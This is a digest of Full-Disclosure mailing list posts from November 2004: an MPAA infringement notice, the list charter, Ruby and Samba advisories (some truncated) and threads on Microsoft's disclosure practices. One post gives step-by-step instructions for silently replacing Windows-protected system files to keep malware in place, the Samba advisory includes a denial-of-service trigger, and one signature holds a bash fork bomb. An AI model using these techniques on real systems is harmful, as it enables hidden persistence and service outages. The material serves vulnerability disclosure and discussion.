[Full-Disclosure] Fw: Case ID 18941657 - Notice of Claimed Infringement

[Jason Coombs]

Anyone know how to convince the MPAA that they have received incorrect 
information from ARIN ?

Telling them over and over again doesn't seem to work, and now their litigation 
spam is getting tiresome.

Jason Coombs



-Original Message-
From: MPAACopyright <[EMAIL PROTECTED]>
Date: Mon, 08 Nov 2004 23:28:03 
To:Jason Coombs <[EMAIL PROTECTED]>
Subject: Case ID 18941657 - Notice of Claimed Infringement

ïMOTION PICTURE ASSOCIATION OF AMERICA, INC.
15503 VENTURA BOULEVARD
ENCINO, CALIFORNIA 91436
UNITED STATES

Anti-Piracy Operations
PHONE: (818) 728 - 8127
Email: [EMAIL PROTECTED] 

Monday, November 08, 2004

Name:   Jason Coombs
ISP:Cybercom

Via Fax/Email

RE: Unauthorized Use of Copyrighted Motion Pictures
Reference#: 18941657 (M)
IP Address: 69.5.193.130
Date of Infringement: 7 Nov 2004 13:30:35 EST (GMT -0500)



Dear Jason Coombs:

The Motion Picture Association of America (MPAA) represents the following 
motion picture production and distribution companies:

Columbia Pictures Industries, Inc.
Disney Enterprises, Inc.
Metro-Goldwyn-Mayer Studios Inc.
Paramount Pictures Corporation
TriStar Pictures, Inc.
Twentieth Century Fox Film Corporation
United Artists Pictures, Inc.
United Artists Corporation
Universal City Studios, LLLP
Warner Bros. Entertainment Inc.

We have received information that, at the above noted date and time, the IP 
address 69.5.193.130 was used to offer or to materially contribute to the 
offering of downloadable or streaming copies of copyrighted motion pictures.  
The title(s) offered included:

NOTEBOOK, THE

Specifically, we have identified the following material as infringing:

--
Infringement Detail:
Infringing Work: NOTEBOOK, THE
Filename: [TMD]The.Notebook.(VideoCD).TS.(1of3).avi
First Found: 7 Nov 2004 13:30:32 EST (GMT -0500)
Last Found: 7 Nov 2004 13:30:32 EST (GMT -0500)
Filesize: 79,918k
IP Address: 69.5.193.130
IP Port: 3383
Internal IP: 10.0.0.119
Network: KaZaA
Protocol: FastTrack
Username: [EMAIL PROTECTED]


Infringing Work: NOTEBOOK, THE
Filename: [TMD]The.Notebook.(VideoCD).TS.(2of3).avi
First Found: 7 Nov 2004 13:30:35 EST (GMT -0500)
Last Found: 7 Nov 2004 13:30:35 EST (GMT -0500)
Filesize: 96,616k
IP Address: 69.5.193.130
IP Port: 3383
Internal IP: 10.0.0.119
Network: KaZaA
Protocol: FastTrack
Username: [EMAIL PROTECTED]


Infringing Work: NOTEBOOK, THE
Filename: [TMD]The.Notebook.(VideoCD).TS.(3of3).avi
First Found: 7 Nov 2004 13:30:30 EST (GMT -0500)
Last Found: 7 Nov 2004 13:30:30 EST (GMT -0500)
Filesize: 84,736k
IP Address: 69.5.193.130
IP Port: 3383
Internal IP: 10.0.0.119
Network: KaZaA
Protocol: FastTrack
Username: [EMAIL PROTECTED]




We believe this information should prove sufficient for you to locate the 
material complained about herein; however, please don't hesitate to contact us 
with any questions or clarification requests you may have.

The unauthorized distribution or public performance of copyrighted motion 
pictures constitutes copyright infringement under the Copyright Act, Title 17 
United States Code Section 106(3)-(4). This conduct may also violate the laws 
of other countries, international law, and/or treaty obligations.

As the owner of this IP address, we request that you immediately do the 
following:

1. Notify the end user of the infringement(s).
2. Remove or disable access to the material identified above.
3. Take appropriate action against the account holder under your Abuse 
Policy/Terms of Service Agreement.

On behalf of the respective owners of the exclusive rights to the copyrighted 
material at issue in this notice, we hereby state, pursuant to the Digital 
Millennium Copyright Act, Title 17 United States Code Section 512, that the 
information in this notification is accurate and that we have a good faith 
belief that use of the material in the manner complained of is not authorized 
by the copyright owners, their respective agents, or the law.

Also pursuant to the Digital Millennium Copyright Act, we hereby state, under 
penalty of perjury, that we are authorized to act on behalf of the owners of 
the exclusive rights being infringed as set forth in this notification.

Please contact us at the above listed address or by replying to this email 
should you have any questions.  Kindly include the above noted Reference Number 
18941657 in the subject line of all email correspondence.

IMPORTANT: If you are the account holder in receipt of this Notice and you wish 
to respond, please address all correspondence to [EMAIL PROTECTED] Please be 
sure to include the Reference Number 18941657 in all communications.

We thank you for your cooperation in this matter.  Your prompt response is 
requested.

Respectfully,

Motion Picture Association of America


signature.cer
Description: Binary data


18941657.xml
Description: Binary data

[Full-Disclosure] List Charter

[John Cartwright]

[Full-Disclosure] Mailing List Charter
John Cartwright <[EMAIL PROTECTED]> and Len Rose <[EMAIL PROTECTED]>
 
Introduction & Purpose
--
 
This document serves as a charter for the [Full-Disclosure] mailing
list hosted at lists.netsys.com.
 
The list was created on 9th July 2002 by Len Rose, and is primarily
concerned with security issues and their discussion.  The list is
administered by Len Rose and John Cartwright.

Subscription Information


Subscription/unsubscription may be performed via the HTTP interface 
located at http://lists.netsys.com/mailman/listinfo/full-disclosure.

Alternatively, commands may be emailed to 
[EMAIL PROTECTED], send the word 'help' in 
either the message subject or body for details.
 
Moderation & Management
---
 
The [Full-Disclosure] list is unmoderated. Typically posting will be
restricted to members only, however the administrators may choose to
accept submissions from non-members based on individual merit and
relevance.
 
It is expected that the list will be largely self-policing, however in
special circumstances (eg spamming, misappropriation) then offending
members may be removed from the list by the management.
 
An archive of postings is available at
http://lists.netsys.com/pipermail/full-disclosure/
 
Acceptable Content
--
 
Any information pertaining to vulnerabilities is acceptable, for
instance announcement and discussion thereof, exploit techniques and
code, related tools and papers, and other useful information.
 
Gratuitous advertisement, product placement, or self-promotion is
forbidden.  Disagreements, flames, arguments, and off-topic discussion
should be taken off-list wherever possible.

Humour is acceptable in moderation, providing it is inoffensive.
Politics should be avoided at all costs.
 
Members are reminded that due to the open nature of the list, they
should use discretion in executing any tools or code distributed via
this list.
 
Posting Guidelines
--
 
The primary language of this list is English. Members are expected to
maintain a reasonable standard of netiquette when posting to the list.
 
Quoting should not exceed that which is necessary to convey context,
this is especially relevant to members subscribed to the digested
version of the list.
 
The use of HTML is discouraged, but not forbidden. Signatures will
preferably be short and to the point, and those containing
'disclaimers' should be avoided where possible.
 
Attachments may be included if relevant or necessary (e.g. PGP or
S/MIME signatures, proof-of-concept code, etc) but must not be active
(in the case of a worm, for example) or malicious to the recipient.
 
Vacation messages should be carefully configured to avoid replying to
list postings. Offenders will be excluded from the mailing list until
the problem is corrected.

Members may post to the list by emailing 
[EMAIL PROTECTED] Do not send subscription/
unsubscription mails to this address, use the -request address 
mentioned above.
 
Charter Additions/Changes
-
 
The list charter will be published at
http://lists.netsys.com/full-disclosure-charter.html
 
In addition, the charter will be posted monthly to the list by the
management.  

Alterations will be made after consultation with list members and a 
concensus has been reached.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Security Contact for T-Mobile?

[Jake Appelbaum]

Hello,

I am looking for a security contact within the USA wing of T-Mobile. All
attempts to contact the team via telephone are seemingly futile.

Does anyone have this information?

-- 
Jake Appelbaum <[EMAIL PROTECTED]>


signature.asc
Description: This is a digitally signed message part

[Full-Disclosure] Silencing Windows File Protection

[Fixer]

Hi all,

In the past, the best way to bypass Windows File Protection (WFP) was
to attempt to set it to the known registry value that would shut it
down completely.  This was the vector used by Code Red II and other
forms of malware.  This technique was effective until Microsoft
changed this value to make it operating system and service pack
specific, thus making it infeasible for general use.

There exists, however, another mechanism for silencing, rather than
shutting down, WFP.  This mechanism represents an interesting flaw in
the operation of WFP and has a variety of potential uses.  While this
is not an exploit in and of itself, it can potentially be used by
various types of malware as a method for keeping access to a
compromised machine or for installing additional malicious code such
as backdoors, keyloggers, etc.  Keep in mind that this, like other
attacks against WFP, requires the attacker/malware/etc. to have
administrator permissions on the target computer.  This isn't an issue
for malware that is exploiting a known vulnerability and then simply
using this technique to hold on to that access.

Details:

In order to bypass WFP, it is necessary to navigate to the following
registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Contained within this key is the value SFCDisable.  This value is of
the DWORD type and can be set from 0 to 4.  Setting it to 1 or 2
requires the use of a debugger and is not relevant to this discussion.
 When setting this value to 0, WFP operates normally.  Setting this
value to 4, however, produces a very interesting result.  With this
value, WFP is still enabled, but all notifications (including all
Event Log entries) are suppressed.   This allows for the replacement
of critical system files with no warnings from Windows.

Files that are protected by WFP are typically stored in two locations.
 The first location is the primary location of the file
(c:\winnt\system32 for example).  The second is the dllcache
directory, which is a subdirectory of the system32 directory.  The
dllcache directory serves as a backup directory for all critical files
that WFP protects.  In the event that a critical file changes it is
replaced from the copy in the dllcache directory.  As such it is
necessary to replace both the primary copy and the dllcache copy. 
Additionally it will be necessary to first delete the copy in the
dllcache to ensure that the computer cannot simply replace the primary
file with a copy from the dllcache.

Execution Steps:

In order to properly execute this, the following steps must be taken
in precise order:

+ Set the value of HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SFCDisable to 4

+ Delete the target file in the dllcache directory

+ Delete the primary copy of the target file

+ Replace the dllcache and primary copies of the target file with the
new copies.  The order is irrelevant.

+ Set the value of HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon to 0 (this step is optional)

It should be noted that, according to Microsoft, WFP was designed as a
system stability feature, not a security feature.  In order to fix
this problem it would be necessary to redesign the entire WFP
architecture.  Given that, Microsoft's official response was that the
necessary solution would likely be implemented in Longhorn.

As previously stated this is NOT an exploit by itself, simply a way to
keep access once you've got it and maybe install some additional
malicious code in the process.

Miscellaneous Notes:

+ This process has been tested and verified under Windows 2000 SP4 and
Windows XP SP2.

+ Using SFC /scannow will remove the altered files in the dllcache
directory (but not in the primary directory) but it will not alert the
administrator as to which files were altered.  Additionally there will
be the risk of causing software issues because of where SFC gets its
replacement files from.

+ Replacing the original application in the dllcache will not result
in WFP recognizing that a different application is in the primary
location and copying the correct application into the primary
location.  Once the application has been deleted from both locations
it appears that WFP does not track the application as part of its
database from that point on.

Hiya to all the H3 kennels out there...

-fixer

Sed Quis Custodiet Ipsos Custodes?

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] MSIE src&name property disclosure

[Gadi Evron]

Dave Aitel wrote:
> This is another reason why studies comparing Microsoft's security to 
Open Source security are always bizzare. They compare the entire set of 
Linux vulnerabilities to a tiny subset of the bugs Microsoft knows 
about, but pretends other people don't. WINS is a classic example.

Actually, I personally have nothing against MS. They succeeded where 
many failed. Good for them!

Their bad attitude and bloody competitive nature can hardly be blamed in 
the world they compete in... and their corporate culture.. it's their 
own problem.

So where do I blame them? I blame them in how they treat me;
- They have released vague and mind-boggling advisories (where do I
  start?).
- They don't advertise most of their security issues (remember defcon a
  couple of years back with the CoDC and their "we already use that
  computer name?" issue? MS refused to give credit because "they were
  already aware of the issue").
- They hide security patches inside other patches (so much that the best
  way to find Windows vulnerabilities is to do reversing on their
  patches).
- They pre-patch products and for that reason hold on patches until such
  products are out (XP SP2).
- They insist on dealing with trouble by either ignoring it or killing
  it by applying a band-aid (I'll give only one example: winnuke and
  closing the port).
And don't even get me started on "viruses" (all the way back through 
macro viruses and beyond).

I don't envy, hate or mock Microsoft. I actually appreciate what they 
have accomplished. I have a serious issue with their way of doing 
business with non-competition - the way they treat me as a security 
professional.

All the above, is naturally, only my personal opinion. I may have some 
of the details not 100% accurate, but I stand by the spirit of the words.

I tried and start a good-natured FACTUAL discussion on the subject in 
the past - but all the kiddies always jump up and yell. In this case, 
even some of my best friends enter the yelling criteria.

Oh.. and any idea why MS keeps adding caches on caches on caches to 
solve problems? It turns me crazy.
Which reminds me of a similar discussion on a list I own a bit back. 
Someone asked why IE keeps checking a certain Windows game - it was 
turning him crazy. So the Managing Director of a big 
disassembler/debugger company offered to make it a "surprise discount" 
on the order forms if someone wrote the name of the game there.
It was hilarious. :o)

That's the best you will see out of me on religion. I decide to comment 
on such issues about twice a year.

Gadi Evron.
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] [USN-20-1] Ruby CGI module vulnerability

[Martin Pitt]

===
Ubuntu Security Notice USN-20-1   November 08, 2004
ruby1.8 vulnerability
CAN-2004-0983
===

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

libruby1.8

The problem can be corrected by upgrading the affected package to
version 1.8.1+1.8.2pre2-3ubuntu0.1.  In general, a standard system
upgrade is sufficient to effect the necessary changes.

Details follow:

The Ruby developers discovered a potential Denial of Service
vulnerability in the CGI module (cgi.rb). Specially crafted CGI
requests could cause an infinite loop in the server process.
Repetitive attacks could use most of the available processor
resources, exhaust the number of allowed parallel connections in web
servers, or cause similar effects which render the service
unavailable.

There is no possibility of privilege escalation or data loss.

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/r/ruby1.8/ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1.diff.gz
  Size/MD5:   154532 1dcd316b06a834954605df0deed4c453

http://security.ubuntu.com/ubuntu/pool/main/r/ruby1.8/ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1.dsc
  Size/MD5: 1409 a1206a0996d2fdb4fa78b71b693441b8

http://security.ubuntu.com/ubuntu/pool/main/r/ruby1.8/ruby1.8_1.8.1+1.8.2pre2.orig.tar.gz
  Size/MD5:  3438795 2a03d56781fb19e5dd967b0d5b394f84

  Architecture independent packages:


http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/irb1.8_1.8.1+1.8.2pre2-3ubuntu0.1_all.deb
  Size/MD5:   127124 47713b6573c231e8747d70e2d678aaa8

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libdrb-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_all.deb
  Size/MD5:   109546 2482d7aaf3cf3667cf845031e7f5189f

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/liberb-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_all.deb
  Size/MD5:89832 24e98c22e0741d8a659af81531d04409

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/librexml-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_all.deb
  Size/MD5:   146972 b70925fc83163a012c1f27b70965faa2

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libsoap-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_all.deb
  Size/MD5:   189584 9b53c73b868f11cab316cb7c0b0cbd15

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libtest-unit-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_all.deb
  Size/MD5:   112508 9939df04e4b4e3383f9e28936cdd6c6f

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libwebrick-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_all.deb
  Size/MD5:   116840 f4a2d4ee42cdc077608a25c6c9d94728

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libxmlrpc-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_all.deb
  Size/MD5:   107662 1ed738fca18dd8ac509bf318b3bf37af

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/rdoc1.8_1.8.1+1.8.2pre2-3ubuntu0.1_all.deb
  Size/MD5:   192440 af01ccaedfd64aad1f96177f70cb3156

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/ri1.8_1.8.1+1.8.2pre2-3ubuntu0.1_all.deb
  Size/MD5:   394190 945aca9d100d6075aabf81f0da361667

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/ruby1.8-elisp_1.8.1+1.8.2pre2-3ubuntu0.1_all.deb
  Size/MD5:   103238 8f00a69ea8d04150ddd8106671b93954

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/ruby1.8-examples_1.8.1+1.8.2pre2-3ubuntu0.1_all.deb
  Size/MD5:   113754 e68ac077d3457ddffaaa84e481071adb

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)


http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libbigdecimal-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_amd64.deb
  Size/MD5:   131312 99b352ce726a5376916ff6f09b99e4c1

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libcurses-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_amd64.deb
  Size/MD5:   103402 3d8a3ca07f474a3af05cf0fce286be1a

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libdbm-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_amd64.deb
  Size/MD5:96124 bb1eae22c1f21bfc35f204fbfb427138

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libdl-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_amd64.deb
  Size/MD5:   129770 03fa01fe881752aca95f18012fd4d6fc

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libgdbm-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_amd64.deb
  Size/MD5:97416 1c775725fffc21dec349217fcd4b00c2

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libiconv-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_amd64.deb
  Size/MD5:91694 333587c6f1c7b7c91fb43b30d03602a9

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libopenssl-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_amd64.deb
  Size/MD5:   190926 ca87b1f191470a6ca3fc6733f54c5983

http://security.ubuntu.com/ubuntu/pool/universe/r/ruby1.8/libpty-ruby1.8_1.8.1+1.8.2pre2-3ubuntu0.1_amd64.deb
  Size/MD5:   

Re: [Full-Disclosure] MSIE src&name property disclosure

[Michal Zalewski]

On Mon, 8 Nov 2004, Paul Schmehl wrote:

  [ Moderators - feel free to kill this ]

> Never attribute to malice what can be explained by incompetence.  Most
> likely what happened is the left hand (PR) didn't know what the right
> hand (secure@) was doing.

Highly unlikely; Microsoft Security Response is a team that, among other
things, manages and handles security response, including security-related
PR-esque functions (ever seen 'security evangelist' job postings on the
net?). The quote is fairly specific, so I doubt it could be spawned by a
lone PR drone who did not check with them.

-- 
- bash$ :(){ :|:&};: --
 Michal Zalewski * [http://lcamtuf.coredump.cx]
Did you know that clones never use mirrors?
--- 2004-11-08 21:35 --

   http://lcamtuf.coredump.cx/photo/current/

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] MSIE src&name property disclosure

[Georgi Guninski]

On Mon, Nov 08, 2004 at 01:33:17PM -0600, Paul Schmehl wrote:
> Never attribute to malice what can be explained by incompetence.  Most 
> likely what happened is the left hand (PR) didn't know what the right hand 
> (secure@) was doing.
>

suppose your logic were right.

so, when m$ pr talk, they don't know what the rest of the evil empire is
doing.

but what is the explanation if the m$ pr refuse to talk - as in the case
several hundred planes circling above a city ?

-- 
where do you want bill gates to go today?

 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] iDEFENSE Security Advisory 11.08.04: Samba SMBD Remote Denial of Service Vulnerability

[idlabs-advisories]

Samba SMBD Remote Denial of Service Vulnerability

iDEFENSE Security Advisory 11.08.04 
www.idefense.com/application/poi/display?id=156&type=vulnerabilities
November 08, 2004

I. BACKGROUND

Samba is an Open Source/Free Software suite that provides seamless file 
and print services to SMB/CIFS clients.

II. DESCRIPTION

Remote exploitation of an input validation error in Samba could allow an

attacker to consume system resources and potentially cause the target 
system to crash.

The problem specifically exists within the ms_fnmatch() routine which 
upon parsing '*' characters within a pattern will fall into an 
exponentially growing loop. The responsible section of vulnerable code 
appears here: 

case '*': 
for (; *n; n++) { 
if (ms_fnmatch(p, n) == 0) return 0;
} 
break; 

An authenticated remote attacker can cause a resource exhaustion attack 
by sending multiple malformed commands to an affected server. A request 
as simple as 'dir ***z' can 
trigger this condition leading to 100% CPU usage.

III. ANALYSIS

Successful exploitation allows authenticated remote attackers to exhaust

CPU resources. This attack takes very little bandwidth and can, in some 
cases, cause the machine to stop responding. Multiple attacks can be 
launched in parallel which can make this attack more effective.

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability in Samba 
versions 3.0.4 and 3.0.7. It is suspected that all versions of Samba up 
to and including 3.0.7 are vulnerable.

V. WORKAROUND

Restricting access to the server by using the "hosts allow" setting in 
smb.conf and/or applying firewall rules may help mitigate this 
vulnerability.

VI. VENDOR RESPONSE

3.0.7 patch:
http://www.samba.org/samba/ftp/patches/security/samba-3.0.7-CAN-2004-093
0.patch

3.0.7 patch signature:
http://www.samba.org/samba/ftp/patches/security/samba-3.0.7-CAN-2004-093
0.patch.asc

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2004-0930 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

09/29/2004  iDEFENSE clients notified 
09/29/2004  Initial vendor notification 
09/30/2004  Initial vendor response 
11/08/2004  Coordinated public disclosure

IX. CREDIT

Karol Wiesek is credited with this discovery.

Get paid for vulnerability research 
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2004 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert 
electronically. It may not be edited in any way without the express 
written consent of iDEFENSE. If you wish to reprint the whole or any 
part of this alert in any other medium other than electronically, please

email [EMAIL PROTECTED] for permission.

Disclaimer: The information in the advisory is believed to be accurate 
at the time of publishing based on currently available information. Use 
of the information constitutes acceptance for use in an AS IS condition.

There are no warranties with regard to this information. Neither the 
author nor the publisher accepts any liability for any direct, indirect,

or consequential loss or damage arising from use of, or reliance on,
this information.


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] MDKSA-2004:128 - Updated ruby packages fix remote DoS vulnerability

[Mandrake Linux Security Team]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

 Mandrakelinux Security Update Advisory
 ___

 Package name:   ruby
 Advisory ID:MDKSA-2004:128
 Date:   November 8th, 2004

 Affected versions:  10.0, 10.1, 9.2, Corporate Server 2.1
 __

 Problem Description:

 Andres Salomon noticed a problem with the CGI session management in
 Ruby.  The CGI:Session's FileStore implementations store session
 information in an insecure manner by just creating files and ignoring
 permission issues (CAN-2004-0755).
 
 The ruby developers have corrected a problem in the ruby CGI module
 that can be triggered remotely and cause an inifinite loop on the
 server (CAN-2004-0983).
 
 The updated packages are patched to prevent these problems.
 ___

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0755
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0983
 __

 Updated Packages:
  
 Mandrakelinux 10.0:
 78ad14ec966b0555089e94ad19604b44  10.0/RPMS/ruby-1.8.1-1.2.100mdk.i586.rpm
 33d12ff3583ced4c88be97fb473b0813  
10.0/RPMS/ruby-devel-1.8.1-1.2.100mdk.i586.rpm
 776bfc4df4f2c093efceebe470391707  10.0/RPMS/ruby-doc-1.8.1-1.2.100mdk.i586.rpm
 890a20e02c7f46b47adf6a8f78223659  10.0/RPMS/ruby-tk-1.8.1-1.2.100mdk.i586.rpm
 35abe65664a41317a279ef320d56ac46  10.0/SRPMS/ruby-1.8.1-1.2.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 a264a378c30202cea578c9a4594b3eeb  
amd64/10.0/RPMS/ruby-1.8.1-1.2.100mdk.amd64.rpm
 37bfe093ef80363bedba7b2dadf51bd6  
amd64/10.0/RPMS/ruby-devel-1.8.1-1.2.100mdk.amd64.rpm
 f87a35ff158820c1e237306a76ad45c2  
amd64/10.0/RPMS/ruby-doc-1.8.1-1.2.100mdk.amd64.rpm
 c2bed939a9ca7da197f949b71a3a1687  
amd64/10.0/RPMS/ruby-tk-1.8.1-1.2.100mdk.amd64.rpm
 35abe65664a41317a279ef320d56ac46  
amd64/10.0/SRPMS/ruby-1.8.1-1.2.100mdk.src.rpm

 Mandrakelinux 10.1:
 101f9a5772044b5267a1be98b36dcac5  10.1/RPMS/ruby-1.8.1-4.2.101mdk.i586.rpm
 72c1c8413c801e599dfc174041754384  
10.1/RPMS/ruby-devel-1.8.1-4.2.101mdk.i586.rpm
 b9c6fce1facc4bdbf829435b6075d266  10.1/RPMS/ruby-doc-1.8.1-4.2.101mdk.i586.rpm
 b2f516a033fb089f5a5819dcb9f2a38c  10.1/RPMS/ruby-tk-1.8.1-4.2.101mdk.i586.rpm
 d356531e89645a5aa9e2f5ad7dac55dd  10.1/SRPMS/ruby-1.8.1-4.2.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 dc340846e8c30a4ef9115eb7e20520c3  
x86_64/10.1/RPMS/ruby-1.8.1-4.2.101mdk.x86_64.rpm
 234644faf341899ae3f251cbfb09f0da  
x86_64/10.1/RPMS/ruby-devel-1.8.1-4.2.101mdk.x86_64.rpm
 b4b7876cc7762e09469e2d60ccb7f4f2  
x86_64/10.1/RPMS/ruby-doc-1.8.1-4.2.101mdk.x86_64.rpm
 4177169d6970c4dd3210ca8a15cffead  
x86_64/10.1/RPMS/ruby-tk-1.8.1-4.2.101mdk.x86_64.rpm
 d356531e89645a5aa9e2f5ad7dac55dd  
x86_64/10.1/SRPMS/ruby-1.8.1-4.2.101mdk.src.rpm

 Corporate Server 2.1:
 8467a2a206b02e729e39601e1762af1c  
corporate/2.1/RPMS/ruby-1.6.7-5.2.C21mdk.i586.rpm
 236abcc01b4cabc4f70bbf76d73a604b  
corporate/2.1/RPMS/ruby-devel-1.6.7-5.2.C21mdk.i586.rpm
 47155447664218a143dca3f9c03c1316  
corporate/2.1/RPMS/ruby-doc-1.6.7-5.2.C21mdk.i586.rpm
 97ca9727e9f927e30723eeda3a935568  
corporate/2.1/RPMS/ruby-tk-1.6.7-5.2.C21mdk.i586.rpm
 451b383b9a34d35fb11bab1e917437de  
corporate/2.1/SRPMS/ruby-1.6.7-5.2.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 175f8a45c99de3487df134df6fb22ef4  
x86_64/corporate/2.1/RPMS/ruby-1.6.7-5.2.C21mdk.x86_64.rpm
 1d303628932bff75f684be71a6e453f1  
x86_64/corporate/2.1/RPMS/ruby-devel-1.6.7-5.2.C21mdk.x86_64.rpm
 a937b87c10e5f3ecb41610e64b09c9ba  
x86_64/corporate/2.1/RPMS/ruby-doc-1.6.7-5.2.C21mdk.x86_64.rpm
 40a44ec634f8929394835d5c561ad212  
x86_64/corporate/2.1/RPMS/ruby-tk-1.6.7-5.2.C21mdk.x86_64.rpm
 451b383b9a34d35fb11bab1e917437de  
x86_64/corporate/2.1/SRPMS/ruby-1.6.7-5.2.C21mdk.src.rpm

 Mandrakelinux 9.2:
 6f8ee2c9308debe5b391b322f93e9524  9.2/RPMS/ruby-1.8.0-4.2.92mdk.i586.rpm
 58cabdd982a8c760e7af0fb5e81d9dc7  9.2/RPMS/ruby-devel-1.8.0-4.2.92mdk.i586.rpm
 c7b7d678f4cb76b79996380f2f04a747  9.2/RPMS/ruby-doc-1.8.0-4.2.92mdk.i586.rpm
 c613fe92253fdfe9f581eb0af17f75d1  9.2/RPMS/ruby-tk-1.8.0-4.2.92mdk.i586.rpm
 95e4882f99900e40a8e9680ecf5d08e1  9.2/SRPMS/ruby-1.8.0-4.2.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 c4d3b440f5c11465b8d496bf4f531df4  amd64/9.2/RPMS/ruby-1.8.0-4.2.92mdk.amd64.rpm
 ca6c4b4aac7aa3d091ef62f0cefa3820  
amd64/9.2/RPMS/ruby-devel-1.8.0-4.2.92mdk.amd64.rpm
 ce56f743c39e354939ff4ca43f288d14  
amd64/9.2/RPMS/ruby-doc-1.8.0-4.2.92mdk.amd64.rpm
 096e63f35549468726f50ffe2bfa28e7  
amd64/9.2/RPMS/ruby-tk-1.8.0-4.2.92mdk.amd64.rpm
 95e4882f99900e40a8e9680ecf5d08e1  amd64/9.2/SRPMS/ruby-1.8.0-4.2.92mdk.src.rpm
 ___

 To upgrade automatically use

Re: [Full-Disclosure] MSIE src&name property disclosure

[Paul Schmehl]

--On Monday, November 08, 2004 03:13:57 PM +0100 Michal Zalewski 
<[EMAIL PROTECTED]> wrote:
Several days later, this statement surfaces in an article, showing beyond
any doubt that they are, quite simply, lying to the public to save face
and gain time.
As much as I am not a rabid Microsoft hater, this pissed me off more than
a bit.
Never attribute to malice what can be explained by incompetence.  Most 
likely what happened is the left hand (PR) didn't know what the right hand 
(secure@) was doing.

Paul Schmehl ([EMAIL PROTECTED])
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] MSIE and tag NAME property bufferoverflow PoC exploit (was: python does mangleme (with IE bugs!))

[Valdis . Kletnieks]

On Mon, 08 Nov 2004 09:00:03 +0100, patryn said:

> "Microsoft is concerned that this new report of a vulnerability in 
> Internet Explorer was not disclosed responsibly, potentially putting 
> computer users at risk"

Is a black hat who plays by the rules still a black hat? :)


pgpH3HziocL8q.pgp
Description: PGP signature

Re: [Full-Disclosure] MSIE src&name property disclosure

[Elia Florio]

Common laws in IT-security:

I° Micro$oft bugs law :
"a bug is a bug only if found in competitor's software (or if it
could be used in any commercial report to show Windoze
better&stronger than other OSes)."

II° Micro$oft bugs law :
"Windoze has only bugs that M$ said it has; every other bug, found
by bad-and-evil-security-guys is not a bug."

III° Micro$oft bugs law :
"every bug discovered by others is only a windows update problem or
a missing feature of operating system which will be fixed in next
service pack"

IV° Micro$oft bugs law :
"if we found a bug by ourselves...we fix it in the darkness
and then erase programmers memories to avoid that they one day
could remember about it"

:)


